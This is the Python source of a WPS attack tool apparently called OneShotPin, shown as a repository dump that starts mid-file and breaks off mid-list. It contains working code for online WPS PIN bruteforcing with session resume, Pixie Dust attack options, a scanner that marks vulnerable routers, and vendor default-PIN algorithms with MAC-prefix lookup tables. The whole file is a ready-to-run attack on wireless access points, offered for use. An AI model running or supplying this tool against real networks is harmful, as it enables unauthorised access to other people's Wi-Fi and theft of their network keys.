'WPS_FAIL': 785 | print('[!] WPS transaction failed, re-trying last pin') 786 | return self.__second_half_bruteforce(bssid, f_half, s_half) 787 | s_half = str(int(s_half) + 1).zfill(3) 788 | self.bruteforce.registerAttempt(f_half + s_half) 789 | if delay: 790 | time.sleep(delay) 791 | return False 792 | 793 | def smart_bruteforce(self, bssid, start_pin=None, delay=None): 794 | if (not start_pin) or (len(start_pin) < 4): 795 | # Trying to restore previous session 796 | try: 797 | filename = self.sessions_dir + '{}.run'.format(bssid.replace(':', '').upper()) 798 | with open(filename, 'r') as file: 799 | if input('[?] Restore previous session for {}? [n/Y] '.format(bssid)).lower() != 'n': 800 | mask = file.readline().strip() 801 | else: 802 | raise FileNotFoundError 803 | except FileNotFoundError: 804 | mask = '0000' 805 | else: 806 | mask = start_pin[:7] 807 | 808 | try: 809 | self.bruteforce = BruteforceStatus() 810 | self.bruteforce.mask = mask 811 | if len(mask) == 4: 812 | f_half = self.__first_half_bruteforce(bssid, mask, delay) 813 | if f_half and (self.connection_status.status != 'GOT_PSK'): 814 | self.__second_half_bruteforce(bssid, f_half, '001', delay) 815 | elif len(mask) == 7: 816 | f_half = mask[:4] 817 | s_half = mask[4:] 818 | self.__second_half_bruteforce(bssid, f_half, s_half, delay) 819 | raise KeyboardInterrupt 820 | except KeyboardInterrupt: 821 | print("\nAborting…") 822 | filename = self.sessions_dir + '{}.run'.format(bssid.replace(':', '').upper()) 823 | with open(filename, 'w') as file: 824 | file.write(self.bruteforce.mask) 825 | print('[i] Session saved in {}'.format(filename)) 826 | if args.loop: 827 | raise KeyboardInterrupt 828 | 829 | def cleanup(self): 830 | self.retsock.close() 831 | self.wpas.terminate() 832 | os.remove(self.res_socket_file) 833 | shutil.rmtree(self.tempdir, ignore_errors=True) 834 | os.remove(self.tempconf) 835 | 836 | def __del__(self): 837 | self.cleanup() 838 | 839 | 840 | class WiFiScanner: 841 | """docstring for WiFiScanner""" 842 | def __init__(self, interface, vuln_list=None): 843 | self.interface = interface 844 | self.vuln_list = vuln_list 845 | 846 | reports_fname = os.path.dirname(os.path.realpath(__file__)) + '/reports/stored.csv' 847 | try: 848 | with open(reports_fname, 'r', newline='', encoding='utf-8', errors='replace') as file: 849 | csvReader = csv.reader(file, delimiter=';', quoting=csv.QUOTE_ALL) 850 | # Skip header 851 | next(csvReader) 852 | self.stored = [] 853 | for row in csvReader: 854 | self.stored.append( 855 | ( 856 | row[1], # BSSID 857 | row[2] # ESSID 858 | ) 859 | ) 860 | except FileNotFoundError: 861 | self.stored = [] 862 | 863 | def iw_scanner(self) -> Dict[int, dict]: 864 | """Parsing iw scan results""" 865 | def handle_network(line, result, networks): 866 | networks.append( 867 | { 868 | 'Security type': 'Unknown', 869 | 'WPS': False, 870 | 'WPS locked': False, 871 | 'Model': '', 872 | 'Model number': '', 873 | 'Device name': '' 874 | } 875 | ) 876 | networks[-1]['BSSID'] = result.group(1).upper() 877 | 878 | def handle_essid(line, result, networks): 879 | d = result.group(1) 880 | networks[-1]['ESSID'] = codecs.decode(d, 'unicode-escape').encode('latin1').decode('utf-8', errors='replace') 881 | 882 | def handle_level(line, result, networks): 883 | networks[-1]['Level'] = int(float(result.group(1))) 884 | 885 | def handle_securityType(line, result, networks): 886 | sec = networks[-1]['Security type'] 887 | if result.group(1) == 'capability': 888 | if 'Privacy' in result.group(2): 889 | sec = 'WEP' 890 | else: 891 | sec = 'Open' 892 | elif sec == 'WEP': 893 | if result.group(1) == 'RSN': 894 | sec = 'WPA2' 895 | elif result.group(1) == 'WPA': 896 | sec = 'WPA' 897 | elif sec == 'WPA': 898 | if result.group(1) == 'RSN': 899 | sec = 'WPA/WPA2' 900 | elif sec == 'WPA2': 901 | if result.group(1) == 'WPA': 902 | sec = 'WPA/WPA2' 903 | networks[-1]['Security type'] = sec 904 | 905 | def handle_wps(line, result, networks): 906 | networks[-1]['WPS'] = result.group(1) 907 | 908 | def handle_wpsLocked(line, result, networks): 909 | flag = int(result.group(1), 16) 910 | if flag: 911 | networks[-1]['WPS locked'] = True 912 | 913 | def handle_model(line, result, networks): 914 | d = result.group(1) 915 | networks[-1]['Model'] = codecs.decode(d, 'unicode-escape').encode('latin1').decode('utf-8', errors='replace') 916 | 917 | def handle_modelNumber(line, result, networks): 918 | d = result.group(1) 919 | networks[-1]['Model number'] = codecs.decode(d, 'unicode-escape').encode('latin1').decode('utf-8', errors='replace') 920 | 921 | def handle_deviceName(line, result, networks): 922 | d = result.group(1) 923 | networks[-1]['Device name'] = codecs.decode(d, 'unicode-escape').encode('latin1').decode('utf-8', errors='replace') 924 | 925 | cmd = 'iw dev {} scan'.format(self.interface) 926 | proc = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, 927 | stderr=subprocess.STDOUT, encoding='utf-8', errors='replace') 928 | lines = proc.stdout.splitlines() 929 | networks = [] 930 | matchers = { 931 | re.compile(r'BSS (\S+)( )?\(on \w+\)'): handle_network, 932 | re.compile(r'SSID: (.*)'): handle_essid, 933 | re.compile(r'signal: ([+-]?([0-9]*[.])?[0-9]+) dBm'): handle_level, 934 | re.compile(r'(capability): (.+)'): handle_securityType, 935 | re.compile(r'(RSN):\t [*] Version: (\d+)'): handle_securityType, 936 | re.compile(r'(WPA):\t [*] Version: (\d+)'): handle_securityType, 937 | re.compile(r'WPS:\t [*] Version: (([0-9]*[.])?[0-9]+)'): handle_wps, 938 | re.compile(r' [*] AP setup locked: (0x[0-9]+)'): handle_wpsLocked, 939 | re.compile(r' [*] Model: (.*)'): handle_model, 940 | re.compile(r' [*] Model Number: (.*)'): handle_modelNumber, 941 | re.compile(r' [*] Device name: (.*)'): handle_deviceName 942 | } 943 | 944 | for line in lines: 945 | if line.startswith('command failed:'): 946 | print('[!] Error:', line) 947 | return False 948 | line = line.strip('\t') 949 | for regexp, handler in matchers.items(): 950 | res = re.match(regexp, line) 951 | if res: 952 | handler(line, res, networks) 953 | 954 | # Filtering non-WPS networks 955 | networks = list(filter(lambda x: bool(x['WPS']), networks)) 956 | if not networks: 957 | return False 958 | 959 | # Sorting by signal level 960 | networks.sort(key=lambda x: x['Level'], reverse=True) 961 | 962 | # Putting a list of networks in a dictionary, where each key is a network number in list of networks 963 | network_list = {(i + 1): network for i, network in enumerate(networks)} 964 | 965 | # Printing scanning results as table 966 | def truncateStr(s, length, postfix='…'): 967 | """ 968 | Truncate string with the specified length 969 | @s — input string 970 | @length — length of output string 971 | """ 972 | if len(s) > length: 973 | k = length - len(postfix) 974 | s = s[:k] + postfix 975 | return s 976 | 977 | def colored(text, color=None): 978 | """Returns colored text""" 979 | if color: 980 | if color == 'green': 981 | text = '\033[92m{}\033[00m'.format(text) 982 | elif color == 'red': 983 | text = '\033[91m{}\033[00m'.format(text) 984 | elif color == 'yellow': 985 | text = '\033[93m{}\033[00m'.format(text) 986 | else: 987 | return text 988 | else: 989 | return text 990 | return text 991 | 992 | if self.vuln_list: 993 | print('Network marks: {1} {0} {2} {0} {3}'.format( 994 | '|', 995 | colored('Possibly vulnerable', color='green'), 996 | colored('WPS locked', color='red'), 997 | colored('Stored', color='yellow') 998 | )) 999 | print('Networks list:') 1000 | print('{:<4} {:<18} {:<25} {:<8} {:<4} {:<27} {:<}'.format( 1001 | '#', 'BSSID', 'ESSID', 'Sec.', 'PWR', 'WSC device name', 'WSC model')) 1002 | 1003 | network_list_items = list(network_list.items()) 1004 | if args.reverse_scan: 1005 | network_list_items = network_list_items[::-1] 1006 | for n, network in network_list_items: 1007 | number = f'{n})' 1008 | model = '{} {}'.format(network['Model'], network['Model number']) 1009 | essid = truncateStr(network['ESSID'], 25) 1010 | deviceName = truncateStr(network['Device name'], 27) 1011 | line = '{:<4} {:<18} {:<25} {:<8} {:<4} {:<27} {:<}'.format( 1012 | number, network['BSSID'], essid, 1013 | network['Security type'], network['Level'], 1014 | deviceName, model 1015 | ) 1016 | if (network['BSSID'], network['ESSID']) in self.stored: 1017 | print(colored(line, color='yellow')) 1018 | elif network['WPS locked']: 1019 | print(colored(line, color='red')) 1020 | elif self.vuln_list and (model in self.vuln_list): 1021 | print(colored(line, color='green')) 1022 | proc = subprocess.Popen('termux-vibrate -f', shell=True) 1023 | proc = subprocess.Popen('play-audio knock.ogg', shell=True) 1024 | else: 1025 | print(line) 1026 | 1027 | return network_list 1028 | 1029 | def prompt_network(self) -> str: 1030 | networks = self.iw_scanner() 1031 | if not networks: 1032 | print('[-] No WPS networks found.') 1033 | return 1034 | while 1: 1035 | try: 1036 | networkNo = input('Select target (press Enter to refresh): ') 1037 | if networkNo.lower() in ('r', '0', ''): 1038 | return self.prompt_network() 1039 | elif int(networkNo) in networks.keys(): 1040 | return networks[int(networkNo)]['BSSID'] 1041 | else: 1042 | raise IndexError 1043 | except Exception: 1044 | print('Invalid number') 1045 | 1046 | 1047 | def ifaceUp(iface, down=False): 1048 | if down: 1049 | action = 'down' 1050 | else: 1051 | action = 'up' 1052 | cmd = 'ip link set {} {}'.format(iface, action) 1053 | res = subprocess.run(cmd, shell=True, stdout=sys.stdout, stderr=sys.stdout) 1054 | if res.returncode == 0: 1055 | return True 1056 | else: 1057 | return False 1058 | 1059 | 1060 | def die(msg): 1061 | sys.stderr.write(msg + '\n') 1062 | sys.exit(1) 1063 | 1064 | 1065 | def usage(): 1066 | return """ 1067 | OneShotPin 0.0.2 (c) 2017 rofl0r, modded by drygdryg 1068 | 1069 | %(prog)s 1070 | 1071 | Required arguments: 1072 | -i, --interface= : Name of the interface to use 1073 | 1074 | Optional arguments: 1075 | -b, --bssid= : BSSID of the target AP 1076 | -p, --pin= : Use the specified pin (arbitrary string or 4/8 digit pin) 1077 | -K, --pixie-dust : Run Pixie Dust attack 1078 | -B, --bruteforce : Run online bruteforce attack 1079 | --push-button-connect : Run WPS push button connection 1080 | 1081 | Advanced arguments: 1082 | -d, --delay= : Set the delay between pin attempts [0] 1083 | -w, --write : Write AP credentials to the file on success 1084 | -F, --pixie-force : Run Pixiewps with --force option (bruteforce full range) 1085 | -X, --show-pixie-cmd : Always print Pixiewps command 1086 | --vuln-list= : Use custom file with vulnerable devices list ['vulnwsc.txt'] 1087 | --iface-down : Down network interface when the work is finished 1088 | -l, --loop : Run in a loop 1089 | -r, --reverse-scan : Reverse order of networks in the list of networks. Useful on small displays 1090 | -v, --verbose : Verbose output 1091 | 1092 | Example: 1093 | %(prog)s -i wlan0 -b 00:90:4C:C1:AC:21 -K 1094 | """ 1095 | 1096 | 1097 | if __name__ == '__main__': 1098 | import argparse 1099 | 1100 | parser = argparse.ArgumentParser( 1101 | description='OneShotPin 0.0.2 (c) 2017 rofl0r, modded by drygdryg', 1102 | epilog='Example: %(prog)s -i wlan0 -b 00:90:4C:C1:AC:21 -K' 1103 | ) 1104 | 1105 | parser.add_argument( 1106 | '-i', '--interface', 1107 | type=str, 1108 | required=True, 1109 | help='Name of the interface to use' 1110 | ) 1111 | parser.add_argument( 1112 | '-b', '--bssid', 1113 | type=str, 1114 | help='BSSID of the target AP' 1115 | ) 1116 | parser.add_argument( 1117 | '-p', '--pin', 1118 | type=str, 1119 | help='Use the specified pin (arbitrary string or 4/8 digit pin)' 1120 | ) 1121 | parser.add_argument( 1122 | '-K', '--pixie-dust', 1123 | action='store_true', 1124 | help='Run Pixie Dust attack' 1125 | ) 1126 | parser.add_argument( 1127 | '-F', '--pixie-force', 1128 | action='store_true', 1129 | help='Run Pixiewps with --force option (bruteforce full range)' 1130 | ) 1131 | parser.add_argument( 1132 | '-X', '--show-pixie-cmd', 1133 | action='store_true', 1134 | help='Always print Pixiewps command' 1135 | ) 1136 | parser.add_argument( 1137 | '-B', '--bruteforce', 1138 | action='store_true', 1139 | help='Run online bruteforce attack' 1140 | ) 1141 | parser.add_argument( 1142 | '--pbc', '--push-button-connect', 1143 | action='store_true', 1144 | help='Run WPS push button connection' 1145 | ) 1146 | parser.add_argument( 1147 | '-d', '--delay', 1148 | type=float, 1149 | help='Set the delay between pin attempts' 1150 | ) 1151 | parser.add_argument( 1152 | '-w', '--write', 1153 | action='store_true', 1154 | help='Write credentials to the file on success' 1155 | ) 1156 | parser.add_argument( 1157 | '--iface-down', 1158 | action='store_true', 1159 | help='Down network interface when the work is finished' 1160 | ) 1161 | parser.add_argument( 1162 | '--vuln-list', 1163 | type=str, 1164 | default=os.path.dirname(os.path.realpath(__file__)) + '/vulnwsc.txt', 1165 | help='Use custom file with vulnerable devices list' 1166 | ) 1167 | parser.add_argument( 1168 | '-l', '--loop', 1169 | action='store_true', 1170 | help='Run in a loop' 1171 | ) 1172 | parser.add_argument( 1173 | '-r', '--reverse-scan', 1174 | action='store_true', 1175 | help='Reverse order of networks in the list of networks. Useful on small displays' 1176 | ) 1177 | parser.add_argument( 1178 | '-v', '--verbose', 1179 | action='store_true', 1180 | help='Verbose output' 1181 | ) 1182 | 1183 | args = parser.parse_args() 1184 | 1185 | if sys.hexversion < 0x03060F0: 1186 | die("The program requires Python 3.6 and above") 1187 | if os.getuid() != 0: 1188 | die("Run it as root") 1189 | 1190 | if not ifaceUp(args.interface): 1191 | die('Unable to up interface "{}"'.format(args.interface)) 1192 | 1193 | while True: 1194 | try: 1195 | companion = Companion(args.interface, args.write, print_debug=args.verbose) 1196 | if args.pbc: 1197 | companion.single_connection(pbc_mode=True) 1198 | else: 1199 | if not args.bssid: 1200 | try: 1201 | with open(args.vuln_list, 'r', encoding='utf-8') as file: 1202 | vuln_list = file.read().splitlines() 1203 | except FileNotFoundError: 1204 | vuln_list = [] 1205 | scanner = WiFiScanner(args.interface, vuln_list) 1206 | if not args.loop: 1207 | print('[*] BSSID not specified (--bssid) — scanning for available networks') 1208 | args.bssid = scanner.prompt_network() 1209 | 1210 | if args.bssid: 1211 | companion = Companion(args.interface, args.write, print_debug=args.verbose) 1212 | if args.bruteforce: 1213 | companion.smart_bruteforce(args.bssid, args.pin, args.delay) 1214 | else: 1215 | companion.single_connection(args.bssid, args.pin, args.pixie_dust, 1216 | args.show_pixie_cmd, args.pixie_force) 1217 | if not args.loop: 1218 | break 1219 | else: 1220 | args.bssid = None 1221 | except KeyboardInterrupt: 1222 | if args.loop: 1223 | if input("\n[?] Exit the script (otherwise continue to AP scan)? [N/y] ").lower() == 'y': 1224 | print("Aborting…") 1225 | break 1226 | else: 1227 | args.bssid = None 1228 | else: 1229 | print("\nAborting…") 1230 | break 1231 | 1232 | if args.iface_down: 1233 | ifaceUp(args.interface, down=True) 1234 | -------------------------------------------------------------------------------- /oneshot.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | import sys 4 | import select 5 | import subprocess 6 | import os 7 | import tempfile 8 | import shutil 9 | import re 10 | import codecs 11 | import socket 12 | import pathlib 13 | import time 14 | from datetime import datetime 15 | import collections 16 | import statistics 17 | import csv 18 | from typing import Dict 19 | 20 | 21 | 22 | class NetworkAddress: 23 | def __init__(self, mac): 24 | if isinstance(mac, int): 25 | self._int_repr = mac 26 | self._str_repr = self._int2mac(mac) 27 | elif isinstance(mac, str): 28 | self._str_repr = mac.replace('-', ':').replace('.', ':').upper() 29 | self._int_repr = self._mac2int(mac) 30 | else: 31 | raise ValueError('MAC address must be string or integer') 32 | 33 | @property 34 | def string(self): 35 | return self._str_repr 36 | 37 | @string.setter 38 | def string(self, value): 39 | self._str_repr = value 40 | self._int_repr = self._mac2int(value) 41 | 42 | @property 43 | def integer(self): 44 | return self._int_repr 45 | 46 | @integer.setter 47 | def integer(self, value): 48 | self._int_repr = value 49 | self._str_repr = self._int2mac(value) 50 | 51 | def __int__(self): 52 | return self.integer 53 | 54 | def __str__(self): 55 | return self.string 56 | 57 | def __iadd__(self, other): 58 | self.integer += other 59 | 60 | def __isub__(self, other): 61 | self.integer -= other 62 | 63 | def __eq__(self, other): 64 | return self.integer == other.integer 65 | 66 | def __ne__(self, other): 67 | return self.integer != other.integer 68 | 69 | def __lt__(self, other): 70 | return self.integer < other.integer 71 | 72 | def __gt__(self, other): 73 | return self.integer > other.integer 74 | 75 | @staticmethod 76 | def _mac2int(mac): 77 | return int(mac.replace(':', ''), 16) 78 | 79 | @staticmethod 80 | def _int2mac(mac): 81 | mac = hex(mac).split('x')[-1].upper() 82 | mac = mac.zfill(12) 83 | mac = ':'.join(mac[i:i+2] for i in range(0, 12, 2)) 84 | return mac 85 | 86 | def __repr__(self): 87 | return 'NetworkAddress(string={}, integer={})'.format( 88 | self._str_repr, self._int_repr) 89 | 90 | 91 | class WPSpin: 92 | """WPS pin generator""" 93 | def __init__(self): 94 | self.ALGO_MAC = 0 95 | self.ALGO_EMPTY = 1 96 | self.ALGO_STATIC = 2 97 | 98 | self.algos = {'pin24': {'name': '24-bit PIN', 'mode': self.ALGO_MAC, 'gen': self.pin24}, 99 | 'pin28': {'name': '28-bit PIN', 'mode': self.ALGO_MAC, 'gen': self.pin28}, 100 | 'pin32': {'name': '32-bit PIN', 'mode': self.ALGO_MAC, 'gen': self.pin32}, 101 | 'pinDLink': {'name': 'D-Link PIN', 'mode': self.ALGO_MAC, 'gen': self.pinDLink}, 102 | 'pinDLink1': {'name': 'D-Link PIN +1', 'mode': self.ALGO_MAC, 'gen': self.pinDLink1}, 103 | 'pinASUS': {'name': 'ASUS PIN', 'mode': self.ALGO_MAC, 'gen': self.pinASUS}, 104 | 'pinAirocon': {'name': 'Airocon Realtek', 'mode': self.ALGO_MAC, 'gen': self.pinAirocon}, 105 | # Static pin algos 106 | 'pinEmpty': {'name': 'Empty PIN', 'mode': self.ALGO_EMPTY, 'gen': lambda mac: ''}, 107 | 'pinCisco': {'name': 'Cisco', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 1234567}, 108 | 'pinBrcm1': {'name': 'Broadcom 1', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 2017252}, 109 | 'pinBrcm2': {'name': 'Broadcom 2', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 4626484}, 110 | 'pinBrcm3': {'name': 'Broadcom 3', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 7622990}, 111 | 'pinBrcm4': {'name': 'Broadcom 4', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 6232714}, 112 | 'pinBrcm5': {'name': 'Broadcom 5', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 1086411}, 113 | 'pinBrcm6': {'name': 'Broadcom 6', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 3195719}, 114 | 'pinAirc1': {'name': 'Airocon 1', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 3043203}, 115 | 'pinAirc2': {'name': 'Airocon 2', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 7141225}, 116 | 'pinDSL2740R': {'name': 'DSL-2740R', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 6817554}, 117 | 'pinRealtek1': {'name': 'Realtek 1', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 9566146}, 118 | 'pinRealtek2': {'name': 'Realtek 2', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 9571911}, 119 | 'pinRealtek3': {'name': 'Realtek 3', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 4856371}, 120 | 'pinUpvel': {'name': 'Upvel', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 2085483}, 121 | 'pinUR814AC': {'name': 'UR-814AC', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 4397768}, 122 | 'pinUR825AC': {'name': 'UR-825AC', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 529417}, 123 | 'pinOnlime': {'name': 'Onlime', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 9995604}, 124 | 'pinEdimax': {'name': 'Edimax', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 3561153}, 125 | 'pinThomson': {'name': 'Thomson', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 6795814}, 126 | 'pinHG532x': {'name': 'HG532x', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 3425928}, 127 | 'pinH108L': {'name': 'H108L', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 9422988}, 128 | 'pinONO': {'name': 'CBN ONO', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 9575521}} 129 | 130 | @staticmethod 131 | def checksum(pin): 132 | """ 133 | Standard WPS checksum algorithm. 134 | @pin — A 7 digit pin to calculate the checksum for. 135 | Returns the checksum value. 136 | """ 137 | accum = 0 138 | while pin: 139 | accum += (3 * (pin % 10)) 140 | pin = int(pin / 10) 141 | accum += (pin % 10) 142 | pin = int(pin / 10) 143 | return (10 - accum % 10) % 10 144 | 145 | def generate(self, algo, mac): 146 | """ 147 | WPS pin generator 148 | @algo — the WPS pin algorithm ID 149 | Returns the WPS pin string value 150 | """ 151 | mac = NetworkAddress(mac) 152 | if algo not in self.algos: 153 | raise ValueError('Invalid WPS pin algorithm') 154 | pin = self.algos[algo]['gen'](mac) 155 | if algo == 'pinEmpty': 156 | return pin 157 | pin = pin % 10000000 158 | pin = str(pin) + str(self.checksum(pin)) 159 | return pin.zfill(8) 160 | 161 | def getAll(self, mac, get_static=True): 162 | """ 163 | Get all WPS pin's for single MAC 164 | """ 165 | res = [] 166 | for ID, algo in self.algos.items(): 167 | if algo['mode'] == self.ALGO_STATIC and not get_static: 168 | continue 169 | item = {} 170 | item['id'] = ID 171 | if algo['mode'] == self.ALGO_STATIC: 172 | item['name'] = 'Static PIN — ' + algo['name'] 173 | else: 174 | item['name'] = algo['name'] 175 | item['pin'] = self.generate(ID, mac) 176 | res.append(item) 177 | return res 178 | 179 | def getList(self, mac, get_static=True): 180 | """ 181 | Get all WPS pin's for single MAC as list 182 | """ 183 | res = [] 184 | for ID, algo in self.algos.items(): 185 | if algo['mode'] == self.ALGO_STATIC and not get_static: 186 | continue 187 | res.append(self.generate(ID, mac)) 188 | return res 189 | 190 | def getSuggested(self, mac): 191 | """ 192 | Get all suggested WPS pin's for single MAC 193 | """ 194 | algos = self._suggest(mac) 195 | res = [] 196 | for ID in algos: 197 | algo = self.algos[ID] 198 | item = {} 199 | item['id'] = ID 200 | if algo['mode'] == self.ALGO_STATIC: 201 | item['name'] = 'Static PIN — ' + algo['name'] 202 | else: 203 | item['name'] = algo['name'] 204 | item['pin'] = self.generate(ID, mac) 205 | res.append(item) 206 | return res 207 | 208 | def getSuggestedList(self, mac): 209 | """ 210 | Get all suggested WPS pin's for single MAC as list 211 | """ 212 | algos = self._suggest(mac) 213 | res = [] 214 | for algo in algos: 215 | res.append(self.generate(algo, mac)) 216 | return res 217 | 218 | def getLikely(self, mac): 219 | res = self.getSuggestedList(mac) 220 | if res: 221 | return res[0] 222 | else: 223 | return None 224 | 225 | def _suggest(self, mac): 226 | """ 227 | Get algos suggestions for single MAC 228 | Returns the algo ID 229 | """ 230 | mac = mac.replace(':', '').upper() 231 | algorithms = { 232 | 'pin24': ('04BF6D', '0E5D4E', '107BEF', '14A9E3', '28285D', '2A285D', '32B2DC', '381766', '404A03', '4E5D4E', '5067F0', '5CF4AB', '6A285D', '8E5D4E', 'AA285D', 'B0B2DC', 'C86C87', 'CC5D4E', 'CE5D4E', 'EA285D', 'E243F6', 'EC43F6', 'EE43F6', 'F2B2DC', 'FCF528', 'FEF528', '4C9EFF', '0014D1', 'D8EB97', '1C7EE5', '84C9B2', 'FC7516', '14D64D', '9094E4', 'BCF685', 'C4A81D', '00664B', '087A4C', '14B968', '2008ED', '346BD3', '4CEDDE', '786A89', '88E3AB', 'D46E5C', 'E8CD2D', 'EC233D', 'ECCB30', 'F49FF3', '20CF30', '90E6BA', 'E0CB4E', 'D4BF7F4', 'F8C091', '001CDF', '002275', '08863B', '00B00C', '081075', 'C83A35', '0022F7', '001F1F', '00265B', '68B6CF', '788DF7', 'BC1401', '202BC1', '308730', '5C4CA9', '62233D', '623CE4', '623DFF', '6253D4', '62559C', '626BD3', '627D5E', '6296BF', '62A8E4', '62B686', '62C06F', '62C61F', '62C714', '62CBA8', '62CDBE', '62E87B', '6416F0', '6A1D67', '6A233D', '6A3DFF', '6A53D4', '6A559C', '6A6BD3', '6A96BF', '6A7D5E', '6AA8E4', '6AC06F', '6AC61F', '6AC714', '6ACBA8', '6ACDBE', '6AD15E', '6AD167', '721D67', '72233D', '723CE4', '723DFF', '7253D4', '72559C', '726BD3', '727D5E', '7296BF', '72A8E4', '72C06F', '72C61F', '72C714', '72CBA8', '72CDBE', '72D15E', '72E87B', '0026CE', '9897D1', 'E04136', 'B246FC', 'E24136', '00E020', '5CA39D', 'D86CE9', 'DC7144', '801F02', 'E47CF9', '000CF6', '00A026', 'A0F3C1', '647002', 'B0487A', 'F81A67', 'F8D111', '34BA9A', 'B4944E'), 233 | 'pin28': ('200BC7', '4846FB', 'D46AA8', 'F84ABF'), 234 | 'pin32': ('000726', 'D8FEE3', 'FC8B97', '1062EB', '1C5F2B', '48EE0C', '802689', '908D78', 'E8CC18', '2CAB25', '10BF48', '14DAE9', '3085A9', '50465D', '5404A6', 'C86000', 'F46D04', '3085A9', '801F02'), 235 | 'pinDLink': ('14D64D', '1C7EE5', '28107B', '84C9B2', 'A0AB1B', 'B8A386', 'C0A0BB', 'CCB255', 'FC7516', '0014D1', 'D8EB97'), 236 | 'pinDLink1': ('0018E7', '00195B', '001CF0', '001E58', '002191', '0022B0', '002401', '00265A', '14D64D', '1C7EE5', '340804', '5CD998', '84C9B2', 'B8A386', 'C8BE19', 'C8D3A3', 'CCB255', '0014D1'), 237 | 'pinASUS': ('049226', '04D9F5', '08606E', '0862669', '107B44', '10BF48', '10C37B', '14DDA9', '1C872C', '1CB72C', '2C56DC', '2CFDA1', '305A3A', '382C4A', '38D547', '40167E', '50465D', '54A050', '6045CB', '60A44C', '704D7B', '74D02B', '7824AF', '88D7F6', '9C5C8E', 'AC220B', 'AC9E17', 'B06EBF', 'BCEE7B', 'C860007', 'D017C2', 'D850E6', 'E03F49', 'F0795978', 'F832E4', '00072624', '0008A1D3', '00177C', '001EA6', '00304FB', '00E04C0', '048D38', '081077', '081078', '081079', '083E5D', '10FEED3C', '181E78', '1C4419', '2420C7', '247F20', '2CAB25', '3085A98C', '3C1E04', '40F201', '44E9DD', '48EE0C', '5464D9', '54B80A', '587BE906', '60D1AA21', '64517E', '64D954', '6C198F', '6C7220', '6CFDB9', '78D99FD', '7C2664', '803F5DF6', '84A423', '88A6C6', '8C10D4', '8C882B00', '904D4A', '907282', '90F65290', '94FBB2', 'A01B29', 'A0F3C1E', 'A8F7E00', 'ACA213', 'B85510', 'B8EE0E', 'BC3400', 'BC9680', 'C891F9', 'D00ED90', 'D084B0', 'D8FEE3', 'E4BEED', 'E894F6F6', 'EC1A5971', 'EC4C4D', 'F42853', 'F43E61', 'F46BEF', 'F8AB05', 'FC8B97', '7062B8', '78542E', 'C0A0BB8C', 'C412F5', 'C4A81D', 'E8CC18', 'EC2280', 'F8E903F4'), 238 | 'pinAirocon': ('0007262F', '000B2B4A', '000EF4E7', '001333B', '00177C', '001AEF', '00E04BB3', '02101801', '0810734', '08107710', '1013EE0', '2CAB25C7', '788C54', '803F5DF6', '94FBB2', 'BC9680', 'F43E61', 'FC8B97'), 239 | 'pinEmpty': ('E46F13', 'EC2280', '58D56E', '1062EB', '10BEF5', '1C5F2B', '802689', 'A0AB1B', '74DADA', '9CD643', '68A0F6', '0C96BF', '20F3A3', 'ACE215', 'C8D15E', '000E8F', 'D42122', '3C9872', '788102', '7894B4', 'D460E3', 'E06066', '004A77', '2C957F', '64136C', '74A78E', '88D274', '702E22', '74B57E', '789682', '7C3953', '8C68C8', 'D476EA', '344DEA', '38D82F', '54BE53', '709F2D', '94A7B7', '981333', 'CAA366', 'D0608C'), 240 | 'pinCisco': ('001A2B', '00248C', '002618', '344DEB', '7071BC', 'E06995', 'E0CB4E', '7054F5'), 241 | 'pinBrcm1': ('ACF1DF', 'BCF685', 'C8D3A3', '988B5D', '001AA9', '14144B', 'EC6264'), 242 | 'pinBrcm2': ('14D64D', '1C7EE5', '28107B', '84C9B2', 'B8A386', 'BCF685', 'C8BE19'), 243 | 'pinBrcm3': ('14D64D', '1C7EE5', '28107B', 'B8A386', 'BCF685', 'C8BE19', '7C034C'), 244 | 'pinBrcm4': ('14D64D', '1C7EE5', '28107B', '84C9B2', 'B8A386', 'BCF685', 'C8BE19', 'C8D3A3', 'CCB255', 'FC7516', '204E7F', '4C17EB', '18622C', '7C03D8', 'D86CE9'), 245 | 'pinBrcm5': ('14D64D', '1C7EE5', '28107B', '84C9B2', 'B8A386', 'BCF685', 'C8BE19', 'C8D3A3', 'CCB255', 'FC7516', '204E7F', '4C17EB', '18622C', '7C03D8', 'D86CE9'), 246 | 'pinBrcm6': ('14D64D', '1C7EE5', '28107B', '84C9B2', 'B8A386', 'BCF685', 'C8BE19', 'C8D3A3', 'CCB255', 'FC7516', '204E7F', '4C17EB', '18622C', '7C03D8', 'D86CE9'), 247 | 'pinAirc1': ('181E78', '40F201', '44E9DD', 'D084B0'), 248 | 'pinAirc2': ('84A423', '8C10D4', '88A6C6'), 249 | 'pinDSL2740R': ('00265A', '1CBDB9', '340804', '5CD998', '84C9B2', 'FC7516'), 250 | 'pinRealtek1': ('0014D1', '000C42', '000EE8'), 251 | 'pinRealtek2': ('007263', 'E4BEED'), 252 | 'pinRealtek3': ('08C6B3',), 253 | 'pinUpvel': ('784476', 'D4BF7F0', 'F8C091'), 254 | 'pinUR814AC': ('D4BF7F60',), 255 | 'pinUR825AC': ('D4BF7F5',), 256 | 'pinOnlime': ('D4BF7F', 'F8C091', '144D67', '784476', '0014D1'), 257 | 'pinEdimax': ('801F02', '00E04C'), 258 | 'pinThomson': ('002624', '4432C8', '88F7C7', 'CC03FA'), 259 | 'pinHG532x': ('00664B', '086361', '087A4C', '0C96BF', 